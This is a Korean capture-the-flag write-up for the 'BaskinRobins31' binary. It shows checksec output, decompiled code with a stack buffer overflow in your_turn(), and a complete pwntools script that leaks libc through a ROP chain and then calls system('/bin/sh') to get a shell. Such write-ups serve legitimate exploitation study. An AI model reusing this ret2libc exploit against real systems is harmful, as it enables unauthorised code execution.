문제
BaskinRobins31 바이너리의 checksec 결과는 다음과 같다.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
file 명령어의 결과는 다음과 같다.
BaskinRobins31: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4abb416c74a16aaa8b4c9c6c366bed445c306037, not stripped
바이너리 코드
main()
int __cdecl main(int argc, const char ** argv, const char ** envp)
{
...
v5 = 31;
v6 = 0;
while( (signed int)v5 > 0)
{
if(v6)
{
my_turn(&v5);
v6 = 0;
}
else
{
v6 = (unsigned __int64)your_turn(&v5) != 0;
}
...
}
if(v6)
{
puts("Wow! You win!");
...
}
...
}
your_turn()
signed __int64 __fastcall your_turn(_DWORD *a1)
{
char s; // [rbp-B0h]
...
v4 = 0;
memset(&s,0,0x96);
...
n = read(0,&s,0x190);
write(1,&s,n);
putchar(10);
v4 = strtoul(&s,0,10);
if((unsigned int)check_decision(v4))
{
*a1 -= v4;
result = 1;
}
else
{
...
result = 0;
}
return result;
}
your_turn() 함수에 bof 취약점이 존재한다.
ROP gadget을 이용해서 libc base address를 알아낸 뒤에 다시 your_turn() 함수를 호출한다.
그 다음에 다시 bof를 통해서 system 함수를 호출하는 ROP gadget을 구성하면 쉘을 딸 수 있다.
풀이
#!/usr/bin/python
from pwn import *
file_path="/home/sungyun/round3/baskinrobins31/BaskinRobins31"
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process(file_path)
p.recvuntil("(1-3)\n")
puts_got=0x602020
puts_plt=0x4006c0
prdi=0x0000000000400bc3
your_turn=0x00000000004008a4
pay="A"*(0xb0+8)
pay+=p64(prdi)
pay+=p64(puts_got)
pay+=p64(puts_plt)
pay+=p64(your_turn)
p.send(pay)
p.recvuntil(":( \n")
puts=p.recvline()[::-1]
puts=puts[1:]
libc_base=int(puts.encode('hex'),16)-libc.symbols['puts']
system=libc_base+libc.symbols['system']
sh=libc_base+list(libc.search('/bin/sh\x00'))[0]
p.recvuntil("(1-3)\n")
pay2="A"*(0xb0+8)
pay2+=p64(prdi)
pay2+=p64(sh)
pay2+=p64(system)
p.send(pay2)
p.recvuntil(":( \n")
p.interactive()